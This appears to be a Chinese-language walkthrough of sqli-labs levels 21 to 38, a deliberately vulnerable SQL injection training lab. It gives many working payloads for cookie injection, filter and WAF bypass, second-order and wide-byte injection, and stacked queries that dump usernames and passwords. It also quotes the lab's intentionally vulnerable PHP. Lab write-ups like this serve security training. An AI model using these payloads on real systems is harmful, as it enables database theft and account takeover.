Less-21 Cookie Injection- Error Based- complex - string ( 基于錯誤的復雜的字符型Cookie注入)
base64編碼,單引號,報錯型,cookie型注入。
本關和less-20相似,只是cookie的uname值經過base64編碼了。
登錄后頁面:
mV0L3dlaXhpbl80NTY5NDM4OA==,size_16,color_FFFFFF,t_70)
cookie的地方顯然是base64加密過的,解碼得到:admin,就是剛才登陸的uname,所以猜測:本題在cookie處加密了字符串,
查看php文件確實如此,所以只需要上傳paylaod的時候base64加密一下就可以了。
抓包:
%3d為url編碼的 = 號
測試payloa:
admin' and 1=1 --+ //明文
YWRtaW4nIGFuZCAxPTEgLS0r //密文
存在報錯回顯,即注入點
爆數據庫:
-admin') union select 1,2,database()# //明文
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw== //密文
剩下和less20 相同
less22(base64編碼,雙引號,報錯型,cookie型注入。)
單引號換雙引號
其余操作相同
-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
less23(過濾注釋)
源碼:
可看到源碼過濾了注釋符:
構造閉合型語句:
爆庫:
?id=' union select 1,2,database() '
爆表:
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列名:
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆字段值:
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
less24(二次注入)
注冊一個賬號名為:admin’#,密碼設為admin
登陸選擇重置密碼
重置密碼為:123456
此時執行語句為:
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
但因為admin’# 的閉合和注釋
實際執行為:
UPDATE users SET passwd="New_Pass" WHERE username =' admin'
即通過帶有特殊字符的語句在修改密碼的語句當中把語句變成了修改目標賬號的密碼
注入完成
less25Trick with OR & AND (過濾了or和and)
雙寫繞過:
?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+
less 26過濾了注釋和空格的注入
查源碼:
if(isset($_GET['id']))
{$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//fiddling with comments$id= blacklist($id);//echo "<br>";//echo $id;//echo "<br>";$hint=$id;// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; }
}else { echo "Please input the ID as parameter with numeric value";}function blacklist($id)
{$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --$id= preg_replace('/[#]/',"", $id); //Strip out #$id= preg_replace('/[\s]/',"", $id); //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashesreturn $id;
}
過濾了 or,and , /* , – , # , 空格 , /
空格替代:
%09 TAB鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return功能
%0b TAB鍵(垂直)
這道題還可以使用盲注實現
0'||left(database(),1)='s'%26%26'1'='1
同樣報錯注入也可以實現
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1
只要將空格和and繞過 那么實現就簡單了
or和and 很好過濾,注釋過濾了就使用永真閉合
less26a過濾了空格和注釋的盲注
和上一題區別不大
通過檢測 0’||‘1’=‘1 判斷是’
也可以通過fuzz去查看 發現 ') ") 無報錯
使用盲注ok
0’||left(database(),1)>‘s’%26%26’1’='1
嘗試繞過,這兩個都可以繞過
0’)%a0union%a0select%a01,2,3||(‘1
0’)%a0union%a0select%a01,2,3;%00
雖然這道題說是盲注,但是通過閉合 也可以直接爆出結果。
less27(過濾了注釋和空格的注入)
做了這么多了,下來就不說如何拿到數據了,重點在于如何繞過,只要能夠找到注入點,剩下的可以利用sqlmap 等等工具直接利用,畢竟在滲透中,沒有那么多的時間讓我們去消耗
過濾了union和select
繞過方式:雙寫 大小寫
0’%0aUnioN%0aSeleCT%0a1,2,3;%00
0’%A0UnIoN%A0SeLeCt(1),2,3%26%26%a0’1
這里說明一下,冒號可以做閉合用, %00用來截斷 這樣和注釋有相同的含義,這下繞過就多了:注釋,分號閉合,冒號%00截斷
Less-27a 過濾了union和select
方法1:
和上一題一樣,但是把單引號換成了雙引號
替換上一題的payload即可繞過
方法2:
爆數據庫:
http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),“3
爆表名:
http://10.10.10.141/sql/Less-27a/?id=1”%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema=‘security’%a0%26%26%a0"1"%a0=“1
查字段名:
http://10.10.10.141/sql/Less-27a/?id=1”%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema=‘security’%a0And%a0table_name=‘users’%26%26%a0"1"%a0=“1
查數據:
http://10.10.10.141/sql/Less-27a/?id=-1”%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,“3”="3
less28過濾了union和select大小寫
沒有報錯 盲注
過濾了大小寫
但是可以整體雙寫
less28a濾了union和select大小寫
過濾大小寫,但是過濾不嚴格
類似于28 這里可以使用注釋
0')%A0UnIoN%A0SeLeCt(1),version(),database() --+
less29 獲取-基于錯誤的缺乏證據的不匹配-在web應用程序前面有一個WAF。
大佬的解釋:
http://blog.csdn.net/nzjdsds/article/details/77758824
waf是只允許輸入數字的,我們在輸入數字的時候先給waf看然后檢測正常后才轉發給我們需要訪問的頁面,這里我弄2個值,一個是用來欺騙waf的。另一個才是給我們需要訪問頁面的
注入:
?id=1&id=-1' union select 1,2,database() --+
less30有waf的盲注
參考less29
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
Less-31 Protection with WAF 有waf防護
?id=1&id=-1")union select 1,2,database() --+
less32:bypass Addslashes()
繞過 addslashes()
寬字節繞過引號轉義
addslashes()會在單引號前加一個\ 例如:I’m hacker 傳入addslashes(),得到:I’m hacker
本題想以此阻止sql注入語句閉合,但是可以使用寬字節繞過:
原理大概來說就是,一個雙字節組成的字符,比如一個漢字‘我’的utf8編碼為%E6%88%91 當我們使用?id=-1%E6’ 這樣的構造時,’ 前面加的 \ 就會和%E6 合在一起,但是又不是一個正常漢字,但是起到了注掉 \ 的作用,庫。
樣例payload
?id=-1%E6' union select 1,version(),database() --+
我在爆列名的時候卡了一下,分析半天語句最后想起來了, ‘users’ 這里有單引號。
使用十六進制編碼就可以繞過了’'使用0x 代替,users 使用十六進制編碼得到7573657273,構造為0x7573657273
?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+
接下來的步驟比較簡單,不再贅述。
注入完成。
less33:Bypass Add SLASHES
和33一模一樣
less34:Bypass Add SLASHES
繞過添加斜杠
和上一關差別不大,使用post請求
一樣的寬字節注入,并且在uname和passwd處都存在注入
post方式,抓包提交。
樣例payload
uname=admin%99' union select version(),database()--+&passwd=admin&submit=Submit
爆列名的時候要注意’users’的轉義。
注入結束。
less35 GET-Bypass添加斜杠
為什么要關心addslashes()
測試payload:
?id=1’
id周圍沒有單引號或雙引號,現在就明白題目的標題了,不需要要過,直接注入,無比簡單,不再贅述。
樣例payload
?id=-1 union select 1,version(),database()–+
Less-36 寬字節注入GET-Bypass MySQLreal escape_string
先來看看這個函數
mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
\x00
\n
\r
\
'
"
\x1a
如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。
而這個函數可以通過以下語句繞過
aaa’ OR 1=1 –
0%df’ union select 1,2,database() --+
Less-37寬字節注入
到了后面,主要講思路,語句基本都會了
這里是post方式,我們抓包 添加語句到uname或者passwd中,同樣是添加’%df報錯,查詢 --+做注釋
uname=0%df' union select 1,database() --+&passwd=admin&submit=Submit
成功繞過
Less-38 層次化查詢
可以直接正常注入
主要看下這個函數
mysqli_more_results() 檢查一個多重查詢語句中是否有更多結果
堆疊注入,也就是可以執行多條sql語句
/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+